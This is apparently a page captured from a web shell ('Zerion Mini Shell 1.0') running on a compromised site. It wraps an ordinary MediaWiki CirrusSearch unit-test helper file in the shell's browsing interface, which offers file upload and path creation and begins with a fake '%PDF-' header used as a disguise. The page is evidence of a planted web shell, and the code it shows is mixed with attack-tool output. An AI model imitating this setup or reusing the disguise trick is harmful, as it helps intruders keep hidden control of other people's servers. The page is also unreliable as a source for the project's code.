%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/CirrusSearch/tests/unit/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/CirrusSearch/tests/unit/TestUtils.php

<?php

namespace CirrusSearch\Test;

use MediaWiki\MediaWikiServices;

class HashSearchConfig extends \CirrusSearch\SearchConfig {
	public function __construct( array $settings ) {
		$this->setSource( new \HashConfig( $settings ) );
	}

	/**
	 * Allow overriding Wiki ID
	 * @return mixed|string
	 */
	public function getWikiId() {
		if ( $this->has( '_wikiID' ) ) {
			return $this->get( '_wikiID' );
		}
		return parent::getWikiId();
	}
}

class DummyConnection extends \CirrusSearch\Connection {
	public function __construct() {
		$this->config = MediaWikiServices::getInstance()
			->getConfigFactory()
			->makeConfig( 'CirrusSearch' );
	}

	public function getServerList() {
		return [ 'localhost' ];
	}
}

Zerion Mini Shell 1.0